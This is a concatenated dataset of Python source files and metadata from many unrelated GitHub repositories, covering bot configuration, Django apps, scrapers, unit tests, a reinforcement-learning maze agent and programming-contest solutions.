HoodyH/Discord-Farm-Bot | 19,121,194,408,941 | 33aeb0aa097ae5d48384e92bebef87fae81f3190 | 062470c562518284a3147728f7a1db2da3f51d85 | /data/configs.py | c6ecf4971d08a37133cf194c6a17eabf7881611a | [] | no_license | https://github.com/HoodyH/Discord-Farm-Bot | f1f067e9c55ce30f380af8624772d9b4ab05d074 | 4a74cdb2b470a8de5e2d60597312623fd9424b29 | refs/heads/master | 2023-04-05T13:42:32.927674 | 2021-04-03T20:33:20 | 2021-04-03T20:33:20 | 199,805,641 | 0 | 0 | null | false | 2021-04-03T20:33:21 | 2019-07-31T07:41:50 | 2021-03-31T23:23:52 | 2021-04-03T20:33:21 | 25 | 0 | 0 | 0 | Python | false | false | import json
with open('config.json', 'r') as file:
_data = json.load(file)
class Account:
"""
Obj that rappresents the main user
"""
def __init__(self, data):
self.token: str = data.get('token')
self.id: int = data.get('id')
self.username: int = data.get('username')
... | UTF-8 | Python | false | false | 958 | py | 12 | configs.py | 10 | 0.592902 | 0.592902 | 0 | 34 | 27.176471 | 72 |
michaelhenry/AutoBotServer | 4,363,686,813,071 | 12c4dab3797ae362675ec70d8c473d24f1ff47b1 | 62ba31cd875086b24d53ce2c4c6a3d840590a518 | /apps/autobot/admin.py | 6b660832dc990166959461ead0cb84a6c04f9109 | [] | no_license | https://github.com/michaelhenry/AutoBotServer | f7a3e83498cd664e91ee9c5bb846c5dfc7246308 | bd5115582c1ff10c89312d3a9418670414b2acd1 | refs/heads/master | 2023-08-11T11:07:54.874773 | 2021-04-16T11:24:41 | 2021-04-16T11:37:19 | 208,256,202 | 1 | 0 | null | false | 2023-07-22T16:06:57 | 2019-09-13T12:02:08 | 2023-06-03T16:46:25 | 2023-07-22T16:06:56 | 9 | 1 | 0 | 2 | Python | false | false | from django.contrib import admin
from .models import (
UIAction,
UIProperty,
UIElement,
Scenario,
TestAction,
)
admin.site.register(UIAction)
admin.site.register(UIProperty)
admin.site.register(UIElement)
admin.site.register(Scenario)
admin.site.register(TestAction)
| UTF-8 | Python | false | false | 288 | py | 6 | admin.py | 4 | 0.760417 | 0.760417 | 0 | 14 | 19.571429 | 32 |
10419/Tarea-10-ejercicios | 8,873,402,442,886 | 92064f88521871695c87fd5fa21966d42f921f2c | 4a4d6edfcc3d0065d66f6c6bcefd2f420db68576 | /ejercicio 8.py | a42e0fba374828fe86076809d2c87be9746cde7b | [
"Apache-2.0"
] | permissive | https://github.com/10419/Tarea-10-ejercicios | 6e45c0e968161945d878563157ace34262e30e0e | 9e21860cfb1715a3bd710d508d5c71bc35010801 | refs/heads/main | 2023-04-20T14:33:42.304617 | 2021-05-09T17:45:45 | 2021-05-09T17:45:45 | 364,576,242 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | def estCondicional101():
print("Transportes Power")
t=0
a=int(input("ingrese la cantidad de personas:"))
print("tarifa de auto buz")
print("si son mas de 100 personas la tarifa por personas es de 20")
print("si son entre 100 y 50 personas la tarifa por personas es de 35")
print("si son entre 49 y 20 perso... | UTF-8 | Python | false | false | 612 | py | 11 | ejercicio 8.py | 10 | 0.679739 | 0.596405 | 0 | 19 | 31.263158 | 73 |
bennybauer/Shhh | 16,673,063,078,896 | d313255b90e66db0747ecbc3760dfa5c63984039 | e6d45004decda49ee74492a34a8cbed2d63e30e0 | /functions/tests/unit/test_slack.py | 83bff7a2aa607f90513f6c314a9d583a338138de | [] | no_license | https://github.com/bennybauer/Shhh | 04a6edcd2b8c36576952f9e8c30a2dbe382f5860 | 82d14e2ce4f6ddbe4edc9cdf4b7d3c6db25caabe | refs/heads/master | 2020-04-05T23:08:54.458701 | 2016-06-19T09:08:42 | 2016-06-19T09:08:42 | 58,865,902 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import os
from unittest import TestCase
from urlparse import parse_qs
from lib.model.slack import SlackOAuthResponse, SlackResponseMessage, SlackException, SlackCommand, SlackResponseType
__author__ = 'bauerb'
class TestSlack(TestCase):
@classmethod
def setUpClass(cls):
os.environ['SLACK_VERIFICATION... | UTF-8 | Python | false | false | 5,038 | py | 4 | test_slack.py | 3 | 0.605994 | 0.601231 | 0 | 129 | 38.054264 | 117 |
wesbasinger/pvcache | 5,231,270,183,941 | 4bc0175b4df0be2d96b33f3322a6d3da4d899dd4 | 0ed0407faa5868759b3ea7926585df668e7fb308 | /cache/views.py | e748c8ed456c5bd913ca5ebb7ab78b8cf61e9e87 | [] | no_license | https://github.com/wesbasinger/pvcache | 6594fb298c98d57cc50d88c4dfd68cfb391cf1af | d608cf88767e823d261bb2cbe3c6968ed89b71ed | refs/heads/master | 2021-01-19T02:22:30.464610 | 2016-07-14T12:42:48 | 2016-07-14T12:42:48 | 49,754,013 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from django.shortcuts import render, get_object_or_404
from django.http import HttpResponse, HttpResponseRedirect
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from .models import Geocache, Log
from .forms import CacheForm, NewUserForm
from xml.etree.ElementTree... | UTF-8 | Python | true | false | 3,183 | py | 12 | views.py | 6 | 0.705624 | 0.699654 | 0 | 106 | 29.028302 | 115 |
avulalakshman/python-ws | 17,970,143,192,450 | 854b7715803ebc8fcbcba0707f9424b36c649def | c4c2e8993e9561855c3800e1f33726de8b855cd5 | /primecount.py | 03af0ebae4bc27ce9d03320de1756f85c1d7283d | [] | no_license | https://github.com/avulalakshman/python-ws | 879a26bdc7164cd49b33fcfc474f526253d21093 | 2977fb8b5a6a4bc933788fad5e4e0f883f07c26d | refs/heads/master | 2022-02-01T00:14:17.134905 | 2019-07-22T08:52:41 | 2019-07-22T08:52:41 | 198,148,819 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
def isPrime(num):
''' If given number is prime it returns true otherwise false'''
if num < 2:
return False
else:
for i in range(2, num// 2 + 1):
if num % i == 0:
return False
return True
| UTF-8 | Python | false | false | 248 | py | 3 | primecount.py | 3 | 0.508065 | 0.487903 | 0 | 9 | 26.444444 | 67 |
NadyaNikol/AutoMailing_Bot_and_AdminPanel_Python | 15,917,148,799,949 | 10c902c4689e268a2d15928929d634ea7dcec9cc | fe90f72c29fc1dbbb72c9ba4c08988718121c356 | /djangoMail/entrance/migrations/0002_auto_20201221_2020.py | 21acbf37246c7bb7eebc71ad4e475f00320f4402 | [] | no_license | https://github.com/NadyaNikol/AutoMailing_Bot_and_AdminPanel_Python | 943fbff57006d407fbffb88fea5d640a988736ed | ff3b14e75be7241fab714a686944a9ed57597949 | refs/heads/main | 2023-05-05T13:23:56.983621 | 2021-06-03T20:01:04 | 2021-06-03T20:01:04 | 325,529,241 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # Generated by Django 3.1.4 on 2020-12-21 18:20
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('entrance', '0001_initial'),
]
operations = [
migrations.RenameModel(
old_name='Users',
new_name='UsersMailing',
),
... | UTF-8 | Python | false | false | 325 | py | 24 | 0002_auto_20201221_2020.py | 15 | 0.578462 | 0.52 | 0 | 17 | 18.117647 | 47 |
SpicyKong/problems | 8,521,215,159,220 | ec3f8b4b1ad9f870df0da057f04184225d6b116c | cee2ae974f6b416e59a001151f1ea84a253dfd08 | /BOJ/Q_5427.py | d4c8fb3f0ac06d0bbc2899ac8f76bd2bd5b7d8fd | [] | no_license | https://github.com/SpicyKong/problems | e8897fab9e69d07c67fc2f13dc485cc3ac1e8c5a | 732ad9c11bb4b3a8e8b68f565b15c1b481e110d5 | refs/heads/master | 2021-08-16T07:10:03.387082 | 2020-07-03T12:49:18 | 2020-07-03T12:49:18 | 199,583,988 | 3 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # https://www.acmicpc.net/problem/5427 문제 제목 : 불 , 언어 : Python, 날짜 : 2020-04-29, 결과 : 성공
"""
이 문제는 흔한 유형의 BFS문제다. 불을 키우는 조건이 맞는 지 확인하고 플레이어가 다음번 턴에 갈 수 있는곳을 모두 방문하면 된다.
과제가 많아서 양심에 찔리지만 비교적 쉬운 BFS문제를 풀었다.. 하지만 과제가 중간고사를 대체하는것이라 열심히 해야하기 때문에 어쩔수 없었다..
그리고 오늘 운좋게 소마 2차 온라인 코테 합격메일이 왔다. 문제는 내 스펙이 전혀 없기때문에 붙을 ... | UTF-8 | Python | false | false | 2,723 | py | 296 | Q_5427.py | 291 | 0.49276 | 0.473892 | 0 | 68 | 32.514706 | 88 |
donginhb/AutoDemo | 9,311,489,136,880 | 5d7bb98bcb97de73c27bba1a22b1a19fe3c0ac20 | 2a6e8695810a82c6d1cad663168ef44667f07bb0 | /libs/jenkins_builder/Stop_Nmon_On_Centos.py | caf2de70b435daaba8b8023faa9b56c09d833e91 | [] | no_license | https://github.com/donginhb/AutoDemo | 6f9b81c8e8759beffeb0f872bffc2593a4298967 | 0df59118b44bc350dcdd775adc8e1bffc2331d84 | refs/heads/master | 2020-03-21T12:30:00.084903 | 2018-03-28T04:33:32 | 2018-03-28T04:33:32 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/python
#-*- coding:UTF-8 -*-
"""
#===============================================================================
# Stop Nmon monitoring,when jmeter finished
# Upload nmon result *.nmon fils to xtcAuto project folder TempReportmonReport
#======================================================================... | UTF-8 | Python | false | false | 4,997 | py | 93 | Stop_Nmon_On_Centos.py | 37 | 0.555019 | 0.547777 | 0.000201 | 120 | 40.391667 | 133 |
WN1695173791/undergraduate | 11,149,735,136,605 | cc4b165fd1638fc69b2568313d5d329269bfce6f | 50bf62fd5cf747db848c01283e535c8ec59a1f9e | /compiler/decaf_PA3_submit/TestCases/S3/output/q3-super-test4.tac | 1786856e88875dd04cc5a3421cfeb2e4297369fe | [] | no_license | https://github.com/WN1695173791/undergraduate | 19985941ea6ea5fc1cd89c232b228a3a111d0eea | 1261ddd74facbfa7128b05345f6efab7bcb252a0 | refs/heads/master | 2023-03-19T09:41:06.259173 | 2018-06-24T07:57:28 | 2018-06-24T07:57:28 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | VTABLE(_A) {
<empty>
A
_A.setA;
_A.print;
_A.allprint;
_A.fun;
}
VTABLE(_B) {
_A
B
_A.setA;
_B.print;
_B.allprint;
_B.fun;
_B.setB;
}
VTABLE(_C) {
_A
C
_A.setA;
_C.print;
_C.allprint;
_C.fun;
_C.setC;
}
VTABLE(_D) {
_B
D
_A.s... | UTF-8 | Python | false | false | 13,371 | tac | 339 | q3-super-test4.tac | 123 | 0.451649 | 0.277541 | 0 | 830 | 15.108434 | 30 |
bmoretz/Python-Playground | 18,915,035,986,167 | 3f73820e70f0e98a92f5759939d4e9d4cb51d451 | c947a71a16ed180c920d4b362347f980d93bd2fe | /src/DoingMathInPython/ch_07/challenge/gradient_descent.py | 02f9e62136737f5f7a1777c3969f9305e11c849c | [
"MIT"
] | permissive | https://github.com/bmoretz/Python-Playground | b69cac015e95d97f46ebd678c4493a44befb556f | a367ec7659b85c24363c21b5c0ac25db08ffa1f6 | refs/heads/master | 2021-05-13T23:35:31.986884 | 2019-11-23T19:07:58 | 2019-11-23T19:07:58 | 116,520,816 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # using GRADIENT DESCENT to find extrema values
'''
Use gradient descent to find the minimum value for a function
'''
import math
from sympy import Derivative, Symbol, sympify
from sympy.core.sympify import SympifyError
from collections import namedtuple
def grad_descent( x0, f1x, v ):
epsilon = 1e-6
step_size = 1... | UTF-8 | Python | false | false | 1,161 | py | 331 | gradient_descent.py | 307 | 0.628768 | 0.614126 | 0 | 43 | 26.023256 | 88 |
openoakland/councilmatic-scraper | 5,360,119,188,870 | 16938672c3bfdf6e5596dcb7c4277ae10d29ffcb | 581e474926c6d8d44010dbfa32a3ebe156385e04 | /chicago/events.py | 9e282e8eb5d8f14fe7ba619e8fd356786d289e09 | [] | no_license | https://github.com/openoakland/councilmatic-scraper | 9ac52367494e56e9a59fbcc9190ec3ecd77917ba | 996b14ea17c768da3c8ae23079411c918140b320 | refs/heads/dev | 2021-09-16T06:53:00.826308 | 2018-03-28T02:10:19 | 2018-03-28T02:10:19 | 104,142,197 | 9 | 5 | null | false | 2018-03-28T02:10:20 | 2017-09-19T23:55:48 | 2017-12-06T04:33:31 | 2018-03-28T02:10:20 | 1,759 | 2 | 2 | 2 | Python | false | null | from collections import defaultdict
import datetime
import lxml
import lxml.etree
import pytz
import requests
from legistar.events import LegistarAPIEventScraper
from pupa.scrape import Event
class ChicagoEventsScraper(LegistarAPIEventScraper) :
BASE_URL = 'http://webapi.legistar.com/v1/chicago'
WEB_URL = "ht... | UTF-8 | Python | false | false | 5,857 | py | 23 | events.py | 18 | 0.445279 | 0.442889 | 0.000171 | 138 | 41.442029 | 113 |
home-assistant/core | 18,915,035,993,837 | 3eb66df365968511a06d7320341637fab50c98f4 | 96dcea595e7c16cec07b3f649afd65f3660a0bad | /homeassistant/components/airthings_ble/const.py | 96372919e70aeb2a37cbff757db168937a9f17a9 | [
"Apache-2.0"
] | permissive | https://github.com/home-assistant/core | 3455eac2e9d925c92d30178643b1aaccf3a6484f | 80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743 | refs/heads/dev | 2023-08-31T15:41:06.299469 | 2023-08-31T14:50:53 | 2023-08-31T14:50:53 | 12,888,993 | 35,501 | 20,617 | Apache-2.0 | false | 2023-09-14T21:50:15 | 2013-09-17T07:29:48 | 2023-09-14T21:50:03 | 2023-09-14T21:50:15 | 470,852 | 62,888 | 24,675 | 2,641 | Python | false | false | """Constants for Airthings BLE."""
DOMAIN = "airthings_ble"
MFCT_ID = 820
VOLUME_BECQUEREL = "Bq/m³"
VOLUME_PICOCURIE = "pCi/L"
DEFAULT_SCAN_INTERVAL = 300
| UTF-8 | Python | false | false | 160 | py | 11,073 | const.py | 9,921 | 0.698113 | 0.654088 | 0 | 9 | 16.666667 | 34 |
EI-CoreBioinformatics/bgrrl | 18,597,208,408,245 | 26d2219287e4b7037c0632d835a89ee3a45a1a42 | 78d313bba7b57396c08ef3931748537bc5ac35a8 | /bgrrl/bgrrl_config.py | 51f8094abb5bae4982df6e58b1ce0f57b0e28e20 | [] | no_license | https://github.com/EI-CoreBioinformatics/bgrrl | 8c3ec9fb8f1c9ab330051f09b6ce20f105cc8fc8 | 46f2d2e66e559536ffa066f789c93f148537d31a | refs/heads/master | 2021-03-27T10:05:31.735977 | 2019-07-30T16:31:56 | 2019-07-30T16:31:56 | 116,812,059 | 0 | 0 | null | false | 2019-05-08T15:38:17 | 2018-01-09T12:15:10 | 2019-05-08T15:24:02 | 2019-05-08T15:38:16 | 928 | 0 | 0 | 10 | Python | false | false | from collections import OrderedDict, namedtuple
import os
from os.path import exists, dirname, basename, join
import sys
import yaml
import pathlib
import glob
from .snakemake_helper import *
ExecutionEnvironmentArguments = namedtuple(
"ExecutionEnvironmentArguments",
[
"scheduler",
"partition",
"no_drmaa",
... | UTF-8 | Python | false | false | 8,823 | py | 39 | bgrrl_config.py | 26 | 0.672451 | 0.671657 | 0 | 276 | 30.945652 | 115 |
gchen-aa/webdriver | 14,267,881,373,432 | 9321be3a635454f55a4ac123f3dbf1423242bf3d | 9376cc79f283833d7e20b4a1ef11624945920965 | /tests/qa/cases/intelligence/data_availablity/test_audience_users.py | 692520dcd37b0dade241fa41a7dd37cea9215fad | [] | no_license | https://github.com/gchen-aa/webdriver | a9a32fcda82ded537db00f76b028012af637a667 | ab23848ee613e82e91b117b7b95d7a46cdc48e31 | refs/heads/master | 2017-10-07T15:08:30.289207 | 2017-02-13T00:25:52 | 2017-02-13T00:25:52 | 81,275,678 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # Copyright (c) 2016 App Annie Inc. All rights reserved.
from tests.qa.base import BaseSeleniumTestCase
from tests.qa.cases.intelligence.data_availablity.utility import ContractAvailabilityMixin
from tests.qa.constants.constants import Devices, RELATED_APPS_SUPPORTED_COUNTRIES
from tests.qa.pages.intelligence.data_aval... | UTF-8 | Python | false | false | 10,888 | py | 812 | test_audience_users.py | 809 | 0.669728 | 0.64291 | 0 | 193 | 55.414508 | 118 |
953250587/leetcode-python | 25,769,823,449 | adbfdfc598381249eb9d7859ebb6d5b0e38b5209 | f71aecb0e91fe877af3ec652c7f6753a1e7b5ccd | /BoldWordsInString_758.py | 701e5b8be739a6917f319137f5f1f9e985bc404b | [] | no_license | https://github.com/953250587/leetcode-python | 036ad83154bf1fce130d41220cf2267856c7770d | 679a2b246b8b6bb7fc55ed1c8096d3047d6d4461 | refs/heads/master | 2020-04-29T12:01:47.084644 | 2019-03-29T15:50:45 | 2019-03-29T15:50:45 | 176,122,880 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | """
Given a set of keywords words and a string S, make all appearances of all keywords in S bold. Any letters between <b> and </b> tags become bold.
The returned string should use the least number of tags possible, and of course the tags should form a valid combination.
For example, given that words = ["ab", "bc"] a... | UTF-8 | Python | false | false | 2,794 | py | 439 | BoldWordsInString_758.py | 439 | 0.425555 | 0.41088 | 0 | 95 | 28.421053 | 177 |
ges0531/TIL | 2,310,692,453,161 | 4769ce08b0a627c4447776415d71ebf125c73c27 | ad054cebf4198f25d6ca9b37b0eef4783762ac04 | /Algorithm/개념정리/순열/순열, 조합, 부분집합/부분집합.py | bd0b67c0fb1b40cafbf9e89a77be2ae913c63327 | [] | no_license | https://github.com/ges0531/TIL | 4888d0bde5f84ad80caac63ffecf247d22daa0bf | 54389b30e0a67f9c9a3329b1b59c43cdbb33a62c | refs/heads/master | 2023-01-10T23:51:37.409124 | 2020-08-01T07:42:23 | 2020-08-01T07:42:23 | 195,916,245 | 0 | 0 | null | false | 2023-01-05T01:18:07 | 2019-07-09T02:17:43 | 2020-08-01T07:42:32 | 2023-01-05T01:18:05 | 36,278 | 0 | 0 | 89 | Python | false | false | import sys
sys.stdin = open('input.txt', 'r')
def power_set(k, N, arr, t):
if k == N:
print(t)
else:
t[k] = arr[k]
power_set(k+1, N, arr, t)
t[k] = 0
power_set(k + 1, N, arr, t)
num_list = list(map(int, input().split()))
N = len(num_list)
t = [0]*N
power_set(0, N, num_... | UTF-8 | Python | false | false | 328 | py | 492 | 부분집합.py | 421 | 0.484756 | 0.469512 | 0 | 17 | 18.352941 | 42 |
thomascherickal/SofaStatistics | 10,118,942,956,078 | 107455a6cf975adc130b0901c68a1134cf43e02a | bf71eb82d374f23277305decdc7983861e91eda8 | /sofastats/tree.py | 844acc54948e5601e31d476230c9fd205927d4f4 | [] | no_license | https://github.com/thomascherickal/SofaStatistics | 7bbfd6dda7225c67cf7fde8d25ff7b3ab3dab561 | 71a353ff0f32214bb984880f4671e08fb8753920 | refs/heads/master | 2020-06-07T08:17:10.515444 | 2019-06-16T00:19:53 | 2019-06-16T00:19:53 | 192,967,592 | 1 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | from . import my_exceptions
class Nodes:
"""
Nodes functionality used by Nodes and Trees
"""
def add_child(self, child_node):
"""
Add child node. Set level, and parent of node.
Returns child node
"""
if isinstance(self, NodeTree):
sta... | UTF-8 | Python | false | false | 3,621 | py | 129 | tree.py | 83 | 0.537421 | 0.535764 | 0 | 114 | 29.763158 | 80 |
SoluMilken/algo_zoo | 9,586,367,055,083 | b978ac3650db19812d6a968f02ec9ef79c12a1f6 | 7509f42b3df460d95d19cb80a3d490600312064f | /codejam2020/round1a/p2.py | fad9e1b952411dd2986196370aa0ae84aba70063 | [] | no_license | https://github.com/SoluMilken/algo_zoo | 4ed5808c67f37ec083f6ee43d2e5932c10cf4a43 | 1ad76a0da6cfb60b27e5eb121ab5f79cf8b0fee3 | refs/heads/master | 2023-07-25T14:46:20.406426 | 2021-09-02T13:20:07 | 2021-09-02T13:20:07 | 402,423,807 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import math
def p2(n):
if n == 1:
return [(1, 1)]
if n <= 1000:
r = 1
k = 1
output_steps = [(1, 1)]
visited = {(1, 1): 1}
cum_score = 1
else:
r, k, output_steps, visited, cum_score = init2(n)
print(r, k, output_steps, visited, cum_score)
i... | UTF-8 | Python | false | false | 5,554 | py | 80 | p2.py | 76 | 0.466331 | 0.444364 | 0 | 232 | 22.939655 | 98 |
batulu12/ljscrapy | 15,307,263,467,061 | dd93af2710f54a021a1b3770f3f169222d14f620 | 19197d0ad1640144f1d6ddd068d63372b2222ad4 | /lj/spiders/spider.py | 42ff8c864759dd578f47bf1cc759b1de929aba6a | [] | no_license | https://github.com/batulu12/ljscrapy | c3ae3640f3f084388db622d7e16c99255f1276d8 | 282c98d9e5a1de0abf7aa4d0e6573d9659695f85 | refs/heads/master | 2021-01-23T07:20:55.992793 | 2014-11-06T07:38:31 | 2014-11-06T07:38:31 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from scrapy.contrib.spiders import CrawlSpider,Rule
from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
from scrapy.selector import HtmlXPathSelector
from lj.items import LjItem
class lj(CrawlSpider):
name = "lj"
allowed_domains = ["beijing.homelink.com.cn"]
start_urls = ["http://beijing.homel... | UTF-8 | Python | false | false | 2,021 | py | 10 | spider.py | 8 | 0.532905 | 0.520534 | 0 | 54 | 36.444444 | 117 |
anandxkumar/Maze_Solver_Using_Reinforcement_Learning | 10,316,511,463,361 | 7290e21d0f694d25e1939238fb4c6379c9b77dd3 | c4b3daa749b7d06e943c08a2e7b2fd509c831e21 | /app.py | 7f007948045d7ef85a41dad7f5c8fdc162bfa319 | [] | no_license | https://github.com/anandxkumar/Maze_Solver_Using_Reinforcement_Learning | 0c56a453377cade088fc9d18e35a565622ba3007 | 21f87066d932a62e487d18c011d005dcd2b2c178 | refs/heads/master | 2022-07-10T11:51:31.684891 | 2020-05-09T20:27:56 | 2020-05-09T20:27:56 | 262,653,231 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # Interaction between agent and environment
from maze_env import Maze
from RL_agent import QlearningTable
import matplotlib
# Backend
matplotlib.use("TkAgg")
import matplotlib.pyplot as plt
episode_count = 100 # number of epochs
episodes = range(episode_count)
rewards = [] # The gained reward in ... | UTF-8 | Python | false | false | 2,385 | py | 3 | app.py | 3 | 0.57065 | 0.56478 | 0 | 75 | 29.773333 | 97 |
selahaddint/PythonLoginAPI | 9,878,424,808,875 | a6c20464bc936801a47ecc5d3a631e6a04d10bc0 | d9ce762e4aca275fbc7b281e3a561a9bb4e53ee4 | /Persistence/LoginPersistence.py | ff23cda4188a50e1c4c9fb2d6d4a6921b0476f8c | [] | no_license | https://github.com/selahaddint/PythonLoginAPI | 0b16bc417280cbdc22fe2f6dd287d42cb4e401f7 | e3bf5443253786cf295abe5a1f9c5ffec43d692b | refs/heads/master | 2020-12-24T21:28:17.926566 | 2017-06-05T11:15:14 | 2017-06-05T11:15:14 | 59,067,687 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from initialize import *
from Models.UserModel import *
import json
#---------------------------------------------------------------------------------------------------------------
class LoginPersistence():
def Login(self,user_name, password):
user = User.verify_auth_token(user_name)
if not user... | UTF-8 | Python | false | false | 1,303 | py | 11 | LoginPersistence.py | 9 | 0.325403 | 0.316193 | 0 | 22 | 58.272727 | 112 |
fabiankirsch/mastersthesis | 11,330,123,752,478 | 2268ec47385dd5f8c68a36ec57363a0a9ed2e7f1 | 139a1c56ae919c66a9a45108df0def5d12a51b83 | /code/normalizer.py | 0f7606641361ab2b67e6383513851eb11299ab66 | [] | no_license | https://github.com/fabiankirsch/mastersthesis | d5fb38cc065e01c19de204ac6621a69d6f2f963d | 8325da74189ab90089277e209490ab46dfef0324 | refs/heads/master | 2020-07-28T09:38:29.372542 | 2019-09-18T19:08:12 | 2019-09-18T19:08:12 | 209,382,892 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import numpy as np
from sklearn.preprocessing import StandardScaler
def fit_standard_scaler_to_sequence_batch(X):
"""
X: 3d array containing sequences
Returns 2 arrays of means and variances
"""
X_2d = X.reshape(-1, X.shape[2])
scaler = StandardScaler().fit(X_2d)
return scaler.mean_, sc... | UTF-8 | Python | false | false | 1,245 | py | 67 | normalizer.py | 16 | 0.706024 | 0.697992 | 0 | 41 | 29.365854 | 84 |
pseudoPixels/SciWorCS | 14,250,701,507,936 | aabbf355e9c1091e749887f02ed8eccac26547d4 | 893f83189700fefeba216e6899d42097cc0bec70 | /app_collaborative_sci_workflow/pipeline_modules/NiCAD_abstracting/NiCAD_abstracting_settings.py | 0c3a032ba4833cfde22a577011b0dcb42220f822 | [
"MIT"
] | permissive | https://github.com/pseudoPixels/SciWorCS | 79249198b3dd2a2653d4401d0f028f2180338371 | e1738c8b838c71b18598ceca29d7c487c76f876b | refs/heads/master | 2021-06-10T01:08:30.242094 | 2018-12-06T18:53:34 | 2018-12-06T18:53:34 | 140,774,351 | 0 | 1 | MIT | false | 2021-06-01T22:23:47 | 2018-07-12T23:33:53 | 2018-12-06T20:27:54 | 2021-06-01T22:23:45 | 593,244 | 0 | 1 | 4 | Python | false | false |
granularity = 'functions'
language = 'java'
input_source='/home/ubuntu/Webpage/app_collaborative_sci_workflow/workflow_outputs/test_workflow/filter.xml'
abstraction='none'
output_destination= '/home/ubuntu/Webpage/app_collaborative_sci_workflow/workflow_outputs/test_workflow/abstract' | UTF-8 | Python | false | false | 287 | py | 877 | NiCAD_abstracting_settings.py | 426 | 0.815331 | 0.815331 | 0 | 5 | 56.2 | 113 |
idradm/evaluation-tool | 9,637,906,633,170 | e55f7cac95089160250d76ab429fed61fb16a7ae | 816a8af104f9a68340feac749100e49085dbefef | /hlidskjalf/stats.py | 51e3064ca4e736d819e37c162348747a93cadb19 | [] | no_license | https://github.com/idradm/evaluation-tool | efe5c9cee57c000e73d7ee269615881a8ef3c713 | 2b9d16e1095f53218744496af58d5186596a4922 | refs/heads/master | 2021-01-22T22:45:03.545046 | 2014-06-27T15:11:30 | 2014-06-27T15:11:30 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from hlidskjalf.models import DataItem, ResultItem, Stat, Type
class Stats(object):
@staticmethod
def get(run):
stats = Stat.objects.filter(run=run)
total, found, coverage, real = (0, 0, 0, 0)
type_coverages = {}
for stat in stats:
if stat.type:
ty... | UTF-8 | Python | false | false | 1,920 | py | 23 | stats.py | 15 | 0.511458 | 0.501042 | 0 | 63 | 29.47619 | 75 |
anthon-alindada/sanic_messaging | 18,124,762,008,601 | 666c702c39a5b27271d773e41ae215a544750569 | 2c39ce33f9ba4bcc3b49af4730fdb74b010647bb | /app/domain/messaging/tests/stores/test_message_store.py | 9151596620b4c8430049439187fbb2fc8525d01c | [
"MIT"
] | permissive | https://github.com/anthon-alindada/sanic_messaging | 967eb706368bfa10f737818d2aa2661184ad997e | 2afbc601790b4a3dbe17e0a95c589412250d8bee | refs/heads/master | 2023-01-21T07:57:47.245728 | 2019-07-05T14:52:08 | 2019-07-05T14:52:08 | 190,910,607 | 1 | 0 | MIT | false | 2023-01-14T00:39:23 | 2019-06-08T16:30:57 | 2019-07-05T14:56:59 | 2023-01-14T00:39:22 | 4,065 | 1 | 0 | 28 | Python | false | false | # -*- coding: utf-8
# Core
import pytest
# Models
from app.domain.messaging.models import Message
# Messaging context
from ... import messaging_context
@pytest.fixture
def message_store():
return messaging_context.message_store()
async def test_create(message_data, message_store):
message = await message_... | UTF-8 | Python | false | false | 836 | py | 96 | test_message_store.py | 83 | 0.704545 | 0.699761 | 0 | 33 | 24.333333 | 73 |
decadegraphy/decadegraphy | 18,236,431,163,559 | d16b0cdcdbe91a392e5f8fd576a877e69db2aa47 | d8cb92bb9b552fa24365ff7a6682f458ef8695e6 | /restapi/urls.py | ed343562bd37d6b7647b76ec4a51996979a98de4 | [] | no_license | https://github.com/decadegraphy/decadegraphy | ee7b7869883804399c7f08459310571c6556a7d0 | a38f29b5aea43bb4acf50d9e868dbed888636419 | refs/heads/master | 2021-01-01T18:13:05.287704 | 2018-07-21T03:42:03 | 2018-07-21T03:42:03 | 98,275,330 | 8 | 9 | null | false | 2017-09-16T03:31:34 | 2017-07-25T07:04:12 | 2017-08-31T15:48:24 | 2017-09-16T03:31:33 | 154 | 8 | 4 | 0 | Python | null | null | from rest_framework import viewsets, routers
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated
from works.api import WorkViewSet
class UserAuthViewSet(viewsets.ViewSet):
permission_classes = (IsAuthenticated,)
def list(self, request):
return Response(... | UTF-8 | Python | false | false | 551 | py | 33 | urls.py | 26 | 0.778584 | 0.778584 | 0 | 17 | 31.411765 | 83 |
RamaryUp/codingame | 6,871,947,720,644 | a97898979e2ddf3ce566b82c9546ecefffd767ea | d1f5284f99f5314b31311e63f1358774ed7353cc | /Python/minimalnumberofswaps.py | 6333530dac416b70dfe21ca5d493e212ca8d21b2 | [] | no_license | https://github.com/RamaryUp/codingame | dfe699e2b5e18565562acbab6fbf0229b5de02b4 | 16fc7b907113994610ad3b72f86a1da0e700c63e | refs/heads/master | 2021-01-16T19:08:16.944425 | 2018-02-04T23:05:24 | 2018-02-04T23:05:24 | 100,143,411 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # Codingame challenge
# Name : Minimal number of swaps
# Category : Community puzzles
# URL : https://www.codingame.com/training/easy/minimal-number-of-swaps
# Selected programming language : Python 3.5.3
'''
-----------------------------------------------------------------------------------
Goal
Given a list of 1 a... | UTF-8 | Python | false | false | 1,127 | py | 33 | minimalnumberofswaps.py | 30 | 0.623111 | 0.597333 | 0 | 37 | 29.405405 | 113 |
